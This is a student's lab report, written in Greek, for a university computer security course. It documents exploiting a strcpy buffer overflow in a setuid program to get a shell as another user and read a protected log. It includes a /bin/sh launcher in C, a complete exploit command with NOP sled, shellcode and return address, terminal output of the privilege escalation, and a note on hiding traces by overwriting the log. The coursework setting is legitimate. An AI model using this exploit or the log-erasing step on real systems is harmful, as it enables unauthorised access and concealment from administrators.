Εθνικό και Καποδιστριακό Πανεπιστήμιο Αθηνών
Τμήμα Πληροφορικής και Τηλεπικοινωνιών

Αλέξανδρος Ντύρκαϊ 1115201300220

Project #2

Προστασία και Ασφάλεια Υπολογιστικών Συστημάτων

ΕΑΡΙΝΟ 2018

Πίνακας περιεχομένων

ΕΙΣΑΓΩΓΗ

Στο πρόγραμμα υπάρχει ευπάθεια λόγω μη καλής χρήσεις συναρτήσεων, δηλαδή οι συναρτήσεις που χρησιμοποιούνται δεν ελέγχουν το μέγεθος της εισόδου. Η χρήση λοιπόν συναρτήσεων οι οποίες έχουν τα χαρακτηριστικά που αναφέρθηκαν μπορούν να γράψουν παραπάνω από ότι χωράει ένα buffer με αποτέλεσμα να μπορεί να αλλάξει η ροή του προγράμματος και να γίνει κάτι που θα δώσει shell ή να μπορεί να δώσει πρόσβαση σε μη επιτρεπόμενο χρήστη σε κάποιο αρχείο ή αρχεία που έχουν κάποια δεδομένα.

ΠΕΡΙΓΡΑΦΗ

Στην εργασία χρησιμοποιήθηκαν εργαλεία όπως το gdb ,ένας text editor αυτά για να βρεθούν οι διευθύνσεις που βρίσκονται τα δεδομένα που εισάγονται και που βρίσκεται ο κωδικός που δίνει shell ή κάτι παρεμφερές δηλαδή το εκτελέσιμο που δίνει πρόσβαση σε ένα αρχείο η πληροφορία. Η ευπάθεια που υπάρχει είναι η συνάρτηση strcpy η οποία δεν ελέγχει πόσοι χαρακτήρες εισάγονται στο buffer με αποτέλεσμα να γίνεται overwrite η μνήμη. Τα βήματα που ακολουθήθηκαν είναι τα εξής:

1. Αρχικά έγινε η δοκιμή αφού είχε βρεθεί το που είναι το πρόβλημα και αφού έγινε μεταγλώττιση του αρχείου securelog.c όπως αναφερόταν από την εκφώνηση της άσκησης με το gdb για να βρεθούν οι διευθύνσεις μνήμης που χρειάζονται για να πετύχει το buffer overflow και να αποκτήσει στο secure.log αρχείο κάποιος που δεν έχει πρόσβαση κανονικά.
2. Ακόμα , η δημιουργία του αρχείου που δημιουργεί ένα αρχείο που παίρνει shell κατά την εκτέλεση του εκτελέσιμο αυτό αρχείο που προκύπτει από τη μεταγλώττιση το αρχείου shellc.c(εικόνα 1).
3. Στη συνέχεια έγινε δοκιμή με όρισμα τον δεκαεξαδικό κωδικό των εντολών που τρέχουν το εκτελέσιμο που δίνει shell με δοκιμές για το που ακριβώς είναι η διεύθυνση επιστροφής. Η εντολή που αναφέρθηκε είναι η ακόλουθη ./securelog $(python -c 'print "2010-12-12T12:09:10_"+"\x90"*4020+"\x48\x31\xc0\xb0\x3b\x48\x8d\x3d\x14\x02\x03\x04\x48\x81\xef\x01\x02\x03\x04\x48\x31\xf6\x48\x31\xd2\x80\x6f\x07\x01\x0f\x05./shell\x01"+"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x1c\xd5\xff\xff\xff\x7f"')(εικόνα 2) και η οποία έχει ως αποτέλεσμα αυτό που φαίνεται παρακάτω

```c
#include <unistd.h>


int main(int argc, char*argv[ ])

{

   char *shell[2];


   shell[0] = "/bin/sh";

   shell[1] = NULL;

   execve(shell[0], shell, NULL);

   return 0;

}
```

εικόνα 1

```
sdi1300220@snf-744418:~$ ./securelog $(python -c 'print "2010-12-12T12:09:10_"+"\x90"*4020+"\x48\x31\xc0\xb0\x3b\x48\x8d\x3d\x14\x02\x03\x04\x48\x81\xef\x01\x02\x03\x04\x48\x31\xf6\x48\x31\
xd2\x80\x6f\x07\x01\x0f\x05./shell\x01"+"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x1c\xd5\xff\xff\xff\x7f"')
$ ls -l
total 508
-rwxr-xr-x 1 sdi1300220   sdi1300220  13192 May 23 18:38 m_securelog
-rw------- 1 t_sdi1300220 root      466097 May 30 23:35 secure.log
-r-s--x--- 1 t_sdi1300220 sdi1300220   9888 May 15 17:40 securelog
-rw-r--r-- 1 root         root        1955 May 15 17:40 securelog.c
-rwxr-xr-x 1 sdi1300220   sdi1300220   7904 May 30 23:35 shell
-rw-r--r-- 1 sdi1300220   sdi1300220    182 May 30 23:34 shellc.c
-rw-r--r-- 1 root         root         634 May 15 17:40 shellcode.txt
$ whoami
t_sdi1300220
$
```

εικόνα 2

Τώρα τα δεδομένα που περιείχε το αρχείο secure.log είναι το εξής:

2018-05-15T17:40:58_00000_2017-05-19T15:56:52_God isn't dead. He just doesn't want to get involved.

, επιπλέον για να καλυφθούν τα ίχνη ο τρόπος με τον οποίο αυτό επιτευχθεί είναι η εκτέλεση του προγράμματος με το ./securelog όπου θα έχει ως αποτέλεσμα κενό αφού θα γίνει εισαγωγή κενών με αποτέλεσμα να μην φαίνεται από τον χρήστη root ή επίσης με την εισαγωγή κάποιου μεγάλου μηνύματος αντί για ένα χαρακτήρα πολλές φορές στο μέγεθος που πρέπει.

ΑΝΑΦΟΡΕΣ

[1] crypto.di.uoa.gr/csec/

[2] security.stackexchange.com

[3] insecure.org/stf/smashstack.html